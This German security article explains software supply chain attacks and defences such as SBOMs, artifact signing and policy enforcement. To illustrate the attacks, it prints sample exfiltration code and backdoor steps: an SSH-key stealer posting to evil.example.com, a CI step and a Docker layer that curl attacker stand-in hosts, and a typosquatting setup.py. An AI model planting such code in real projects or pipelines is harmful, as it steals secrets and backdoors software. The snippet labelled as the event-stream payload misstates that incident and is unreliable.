Supply Chain Attacks verstehen – Praxisnahe Schutzstrategien für moderne IT-Infrastrukturen

„Sicherheit ist kein Produkt, sondern ein Prozess.“ – Wenn das klingt nach klassischem Sicherheitspostulat, dann ist das ein guter Einstieg: In der Praxis bedeutet das, dass jedes Stück Software, das Sie in Ihrer Produktionsumgebung laufen lassen, ein potenzielles Einfallstor für Angreifer sein kann. Eine Lieferkette ist heute genauso stark wie ihr schwächstes Glied. In diesem Artikel zeige ich Ihnen anhand von drei realen Beispielen, wie Angreifer über Abhängigkeiten in Systeme gelangen und welche sofort umsetzbaren Maßnahmen Sie ergreifen können.

---

1. Was ist ein Supply Chain Attack?

Ein Supply Chain Attack (Lieferkettenangriff) ist ein gezielter Versuch, ein System über die von Ihnen genutzten Drittanbieter‑Komponenten zu kompromittieren. Statt das eigentliche Ziel direkt anzugreifen, infiltrieren Angreifer die Werkzeuge, Bibliotheken oder Services, die Sie als Teil Ihrer Infrastruktur einsetzen. Die Folgen reichen von eingeschleusten Malware‑Backdoors bis hin zu massiven Datenlecks – und das alles, weil Sie einem scheinbar vertrauenswürdigen Provider blind vertrauen.

Beispiel 1: Das event-stream‑Incident (npm)

Im Oktober 2018 wurde das beliebte Node‑JS‑Modul event-stream von einem neuen Maintainer übernommen. Der Angreifer fügte einen schädlichen Payload ein, der beim Installieren das Nutzer‑Home‑Verzeichnis ausliest und an eine remote‑Server‑IP sendet. Entwickler, die das Modul in ihrer package.json lockten, wurden automatisch infiziert – ohne ihr Zutun.

Code‑Snippet (maliziöser Code in event-stream)

const fs = require('fs');
const https = require('https');

// Exfiltrate ~/.ssh/id_rsa
fs.readFile(process.env.HOME + '/.ssh/id_rsa', (err, data) => {
  if (!err) {
    const req = https.request({hostname: 'evil.example.com', method: 'POST'});
    req.write(data);
    req.end();
  }
});

Meine Einschätzung

Dieser Vorfall demonstrierte, dass allein das lockfile (package-lock.json) nicht ausreicht, wenn ein Paket neu veröffentlicht wird. Ohne ein umfassendes Monitoring Ihrer Abhängigkeiten können Sie nie sicher sein, ob das nächste Update sauber ist.

---

2. Wie Angreifer Lieferketten ausnutzen – drei gängige Techniken

2.1 Manipulation von Build‑Pipelines (CI/CD)

Ein Angreifer übernimmt ein Build‑Server, fügt dort einen zusätzlichen Schritt ein und signiert das resultierende Artefakt mit einer eigenen Schlüsseldatei. Das Produkt sieht aus wie das offizielle Release, ist aber mit einer Hintertür versehen.

Beispiel 2: Fake‑GitHub‑Action in einer privaten CI‑Pipeline

# .github/workflows/release.yml
name: Release
on:
  push:
    tags:
      - 'v*'
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - name: Build binary
        run: make
      - name: Inject backdoor
        run: |
          echo "#!/bin/bash" > /usr/local/bin/evil.sh
          echo "curl -s http://malicious.example.com/$(whoami)" >> /usr/local/bin/evil.sh
          chmod +x /usr/local/bin/evil.sh
      - name: Upload artifact
        uses: actions/upload-artifact@v2
        with:
          name: myapp
          path: ./bin/myapp

Die Zeile Inject backdoor fügt ein Skript ein, das beim ersten Start eine HTTP‑Request an den Angreifer sendet. Da die CI‑Pipeline automatisiert ist, wird das schädliche Artefakt an alle Nutzer verteilt.

Meine Einschätzung

Sicherheits‑Checks innerhalb von CI/CD müssen nicht nur auf Code‑Qualität, sondern auch auf die Integrität der Build‑Umgebung abzielen. Eine Möglichkeit ist das Signing von Artefakte und die Verifikation im Deployment‑Step.

2.2 Kompromittierung von Paket‑Repositorys

Angreifer übernehmen oder defacen ein öffentliches Repository (z. B. PyPI, Maven Central) und veröffentlichen ein Paket mit gleichem Namen wie das legitime. Entwickler, die pip install xyz==1.2.3 ausführen, erhalten das manipulierte Paket.

Beispiel 3: PyPI‑Typosquatting

# Angreifer veröffentlicht "requests2" – ein Typosquatting‑Paket
pip install requests2==2.25.0

Das Paket enthält einen setup.py, das bei Installation einen Trojaner installiert:

from setuptools import setup
setup(
    name='requests2',
    version='2.25.0',
    install_requires=['requests'],
    scripts=['evil.py'],
)

evil.py liest System‑Credentials und sendet sie zu attacker.example.com.

Meine Einschätzung

Die Gefahr liegt hier in der Menschlichen Unaufmerksamkeit – ein kleiner Tippfehler reicht. Unternehmen sollten ein Allow‑List‑Modell für erlaubte Pakete einführen und automatisierte Scans (z. B. pip-audit, snyk) in die CI‑Pipeline integrieren.

2.3 Hijacking von Container‑Images

Container‑Images werden häufig aus öffentlichen Registries (Docker Hub, Quay) gezogen. Ein Angreifer kann ein legitimes Image „forken“, ein schädliches Layer hinzufügen und es unter einem ähnlichen Namen neu taggen.

Beispiel 4: Manipuliertes nginx‑Image

# Angreifer erstellt ein Image mit zusätzlichem Backdoor-Skript
docker pull nginx:1.23
docker tag nginx:1.23 mycompany/nginx:1.23
docker run -it mycompany/nginx:1.23 bash
# Inside container
apt-get update && apt-get install -y curl
cat <<'EOF' > /usr/local/bin/evil.sh
#!/bin/bash
curl -s http://evil.example.com/$(hostname) > /dev/null
EOF
chmod +x /usr/local/bin/evil.sh
# Commit und push
docker commit $(docker ps -q) mycompany/nginx:1.23
docker push mycompany/nginx:1.23

Alle Entwickler, die das (vermeintlich legitime) Image aus dem internen Registry ziehen, erhalten nun ein kompromittiertes Container‑Image.

Meine Einschetzung

Hier zeigt sich die Wichtigkeit von Image‑Signing (Docker Content Trust) und Scanning (Trivy, Clair) vor dem Pull. Zudem sollte ein internes Image‑Registry‑Policy enforced werden, das nur Images von bekannten Quellen zulässt.

---

3. Praktische Schutzmaßnahmen – Was Sie sofort umsetzen können

3.1 Implementieren Sie ein SBOM‑Framework

Ein Software Bill of Materials (SBOM) listet jede einzelne Komponente, die in Ihren Artefakten steckt. Tools wie Syft oder CycloneDX erzeugen SBOMs automatisch.

# Beispiel mit Syft für ein Docker‑Image
syft mycompany/nginx:1.23 -o cyclonedx > sbom.xml

Durch das regelmäßige Auditen des SBOMs können Sie ungewöhnliche Komponenten (z. B. nicht autorisierte evil.sh) erkennen.

3.2 Verwenden Sie Immutable Builds und Signaturen

Setzen Sie reproducible builds ein und signieren Sie jede Ausgabe mit einem gpg‑Key. Beim Deployment wird die Signatur verifiziert.

# Signieren
gpg --output myapp.sig --detach-sig myapp
# Verifizieren
gpg --verify myapp.sig myapp

Falls ein Angreifer ein Layer einschleust, bricht die Signaturprüfung.

3.3 Enforce Policy-as-Code mit OPA/Gatekeeper

Open Policy Agent (OPA) kann als Gatekeeper in Kubernetes agieren und beispielsweise das Ausführen von nicht‑signierten Images blockieren.

apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sAllowedRepos
metadata:
  name: allowed-repos
spec:
  enforcementAction: deny
  parameters:
    repos:
    - 'registry.mycompany.com'

Die Policy verhindert, dass irgendein Image außerhalb des internen Registrys gestartet wird.

3.4 Kontinuierliche Dependency‑Scanning‑Pipelines

Integrieren Sie Tools wie Snyk, Dependabot, Trivy oder GitHub CodeQL in Ihre CI‑Pipeline.

# Beispiel: GitHub Actions mit Trivy
name: Scan Images
on: [push]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - name: Scan Docker image
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: mycompany/nginx:1.23
          format: 'sarif'
          exit-code: '0'

Erkennt das Tool bekannte Schwachstellen und warnt, bevor das Image deployed wird.

---

4. Häufige Fehler – Warum viele Unternehmen trotzdem gehackt werden

1. „Nur das Frontend sichern“ – Angreifer zielen lieber auf das Backend‑Supply‑Chain, weil dort weniger Monitoring stattfindet.
2. Kein **Zero‑Trust im Build‑Umfeld** – Jeder Jenkins‑Job hat default‑Root‑Zugriff auf das Netzwerk, wodurch ein einziger kompromittierter Job das gesamte System infizieren kann.
3. Vertrauen auf „Latest“ Tags – nginx:latest ändert sich ständig; ein neues Tag kann ein kompromittiertes Image sein.
4. Manuelle Updates – Wenn Admins Bibliotheken per Hand aktualisieren, übersieht man leicht neue Sicherheits‑Advisories.
5. Fehlende Audits – Ohne regelmäßige Audits von Registries und Pipelines gibt es keine Chance, einen Lieferkettenangriff zu entdecken.

---

5. Fazit & Konkreter nächster Schritt

Supply Chain Attacks sind keine abstrakte Gefahr mehr – sie passieren täglich in echten Unternehmen. Der Schlüssel zum Schutz liegt in Transparenz, Automation und Policy‑Enforcement.

Ihr 3‑Schritte‑Plan für die nächsten 30 Tage

1. SBOM‑Generation einführen: Setzen Sie syft in Ihrer CI‑Pipeline ein und speichern Sie das SBOM‑File in einem Artefakt‑Store.
2. Image‑Signing aktivieren: Aktivieren Sie Docker Content Trust (export DOCKER_CONTENT_TRUST=1) und signieren Sie jedes Image, das Sie veröffentlichen.
3. Policy‑Engine aufsetzen: Deployen Sie OPA‑Gatekeeper in Ihrem Cluster und definieren Sie eine "only‑approved‑repos"‑Policy.

Wenn Sie diese Maßnahmen konsequent umsetzen, schließen Sie die meisten Angriffsvektoren, die über Lieferketten ins System glätten. Und denken Sie dran: Sicherheit ist ein Prozess – nicht ein Produkt.

---

Bleiben Sie wachsam, automatisieren Sie Ihre Kontrollen und vertrauen Sie nicht mehr blind auf das nächste Update.